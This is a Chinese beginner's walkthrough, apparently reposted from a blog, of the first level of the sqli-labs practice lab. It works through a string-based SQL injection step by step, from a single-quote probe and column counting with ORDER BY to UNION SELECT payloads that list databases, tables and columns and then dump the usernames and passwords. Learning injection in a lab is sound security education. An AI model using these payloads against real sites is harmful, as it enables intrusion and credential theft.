概述
小萌新入坑,从sqli-labs开始搞起
Less-1
提示:测试时要使用英文模式下字符!!!!!!要仔细查看是否字符有误导致无法返回信息!!!!!
0x0 信息分析
搭建好环境后来到Less-1的页面查看页面提示信息并分析
此时可以看到给出的提示信息
Please input the ID as parameter with numeric value
翻译
请输入ID作为参数跟着数值
0x1 根据提示进行测试
根据页面中提示的信息在URL中输入?ID=1进行首次尝试
测试:?ID=1
发现页面没有变化,假设参数名不对,后台没有正常接收,使用小写’?id=1’进行尝试
测试:?id=1
发现页面有显示数据,说明参数正确
假设sql
select * from table where id = 1
0x2 注入点判断
介于我刚学习没多久,对于注入点的判断知道不是很多,因此使用一些简单的方法进行判断;
使用单引号 ‘ 进行判断,返回报错信息
报错 ''1'' LIMIT 0,1’
此报错中的首尾单引号为了标明报错内容,因此去掉首尾单引号进行分析 '1'' LIMIT 0,1
将错误信息与假设的sql语句进行拼接
正常语句 select * from table where id = 1
报错语句 select * from table where id = '1'' LIMIT 0,1
此时判断报错原因为id的数据类型为字符型,使用 ?id=1’ or id=‘1 进行验证
测试:?id=1’ or id=‘1
假设sql
select * from table where id =‘ 1’ or id=‘1 ‘ limit 0,1
返回数值,说明查询类型为字符型且存在注入点
0x3 注释查询语句
select * from table where id =‘ 1 ‘ limit 0,1
这是一条正常的sql语句,但我们需要的是查询数据库其他内容,因此先办法注释掉多余部分
通过--进行测试
测试: ?id=1’ --
假设sql:
select * from table where id =‘ 1’ -- ‘ limit 0,1
由于游览器识别空格的问题,我这里改为了 ?id=1’ -- - 此时显示正常说明已经成功注释
0x4 字段数量判断
在mysql中使用order by 数值,根据数值所对应的列进行排序,当对应的列不存在时会报错,因此可以使用order by判断当前表有多少字段,从而进行下一步信息获取
假设sql:
select * from table where id =‘ 1’ order by 2 -- - ‘ limit 0,1
测试:?id=1’ order by 2 -- -
返回正常,继续假设,一直测试到字段的总数量
由此判断当前查询数据表的字段数量为3
0x5 查看数据页面显示情况
为了得知后续我们查询的数据会显示在页面那一部分,我们要来测试下页面显示情况,
可以使用我们拟定的数据进行显示
要给一个不存在的id,这样才能让查询结果为我们自拟的数据,我这边使用id=33测试
已知当前表字段数量为3,在使用union查询时需要保证后查询字段与当前表字段数量相同
假设sql:
select * from table where id =‘ 33’
union
select 111,222,333 --这里直接查询数值可以当做查询结果
-- - ‘ limit 0,1
测试:?id=33’ union select 111,222,333 -- -
这里可以获悉字段2,字段3的内容
0x6 查询版本
select version()可以获取数据库版本信息
假设sql:
select * from table where id =‘ 33’
union
select 111, 222, version()
-- - ‘ limit 0,1
测试:?id=33’ union select 111,222, version()-- -
版本为5.5.53
0x7 查询数据库
科普时间:
在Mysql 5.0以上的版本中,为了方便管理,默认定义了information_schema数据库,用来存储数据库元信息.
其中具有表schemata(数据库名)、tables(表名)、columns(列名或字段名).
在schemata表中,schema_name字段用来存储数据库名.
在tables表中,table_schema和table_name分别用来存储数据库名和表名.
在columns表中,table_schema(数据库名)、table_name(表名)、column_name(字段名)
group_concat()函数可以将查询的一列结果存放在一起
假设sql:
select * from table where id =‘ 33’
union
select 111, 222,group_concat(schema_name) from information_schema.schemata
-- - ‘ limit 0,1
测试:
?id=33’union select 111,222,group_concat(schema_name) from
information_schema.schemata -- -
查询到了所有的数据库
这里也可以更改下sql语句
假设sql:
select * from table where id =‘ 33’
union select 111, 222,schema_name from information_schema.schemata limit 0,1
-- - ‘ limit 0,1
假设sql:
select * from table where id =‘ 33’
union select 111, 222,schema_name from information_schema.schemata limit 1,2
-- - ‘ limit 0,1
通过limit依次来获取数据库名称,这里就不在演示了
0x8 查询sercurity库内表信息
假设sql:
select * from table where id =‘ 33’
union
select 111, 222,group_concat(table_name) from information_schema.tables
where table_schema = ‘security’ -- - ‘ limit 0,1
测试:
?id=33’union select 111,222,group_concat(table_name) from
information_schema.tables where table_schema = ‘security’ -- -
获取到security数据库的表
0x9 查询users表内字段信息
假设sql:
select * from table where id =‘ 33’
union
select 111, 222,group_concat(column_name) from information_schema.columns
where table_schema = ‘security’ and table_name = ‘ users’ -- - ‘ limit 0,1
测试:
?id=33’union select 111,222,group_concat(column_name) from
information_schema.columns where table_schema = ‘security’
and table_name = ‘ users’ -- -
0x10 查询usert表内数据信息
假设sql:
select * from table where id =‘ 33’
union
select 111, group_concat(username),group_concat(password) from security.users
-- - ‘ limit 0,1
测试:
?id=33’ union select 111, group_concat(username),group_concat(password) from
security.users -- -
就是这样 喵~
最后
以上就是俊秀抽屉为你收集整理的sqli_labs第一关的全部内容,希望文章能够帮你解决sqli_labs第一关所遇到的程序开发问题。
如果觉得靠谱客网站的内容还不错,欢迎将靠谱客网站推荐给程序员好友。
发表评论 取消回复